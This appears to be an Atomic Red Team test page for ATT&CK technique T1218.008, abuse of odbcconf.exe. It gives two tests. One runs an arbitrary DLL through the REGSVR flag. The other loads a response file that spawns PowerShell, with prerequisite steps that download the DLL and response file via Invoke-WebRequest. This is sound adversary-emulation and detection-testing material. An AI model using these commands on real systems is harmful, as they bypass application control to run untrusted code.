T1218.008
Signed Binary Proxy Execution: Odbcconf
Description from ATT&CK
Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
Atomic Tests
Atomic Test #1 - Odbcconf.exe - Execute Arbitrary DLL
Execute arbitrary DLL file stored locally.
Supported Platforms: windows
auto_generated_guid: 2430498b-06c0-4b92-a448-8ad263c388e2
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
dll_payload | DLL to execute | path | PathToAtomicsFolder\T1218.008\src\Win32\T1218-2.dll |
Attack Commands: Run with command_prompt!
1
2
odbcconf.exe /S /A {REGSVR "#{dll_payload}"}
Dependencies: Run with powershell!
Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})
Check Prereq Commands:
1
2
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
Atomic Test #2 - Odbcconf.exe - Load Response File
Execute arbitrary response file that will spawn PowerShell.exe. Source files: https://github.com/woanware/application-restriction-bypasses
Supported Platforms: windows
auto_generated_guid: 331ce274-f9c9-440b-9f8c-a1006e1fce0b
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
rsp_file_name | Response file name to load | string | T1218.008.rsp |
rsp_file_path | Response file path | string | PathToAtomicsFolder\T1218.008\bin\ |
Attack Commands: Run with command_prompt!
1
2
3
cd #{rsp_file_path}
odbcconf.exe -f #{rsp_file_name}
Dependencies: Run with powershell!
Description: T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})
Check Prereq Commands:
1
2
if (Test-Path #{rsp_file_path}#{rsp_file_name}) {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll"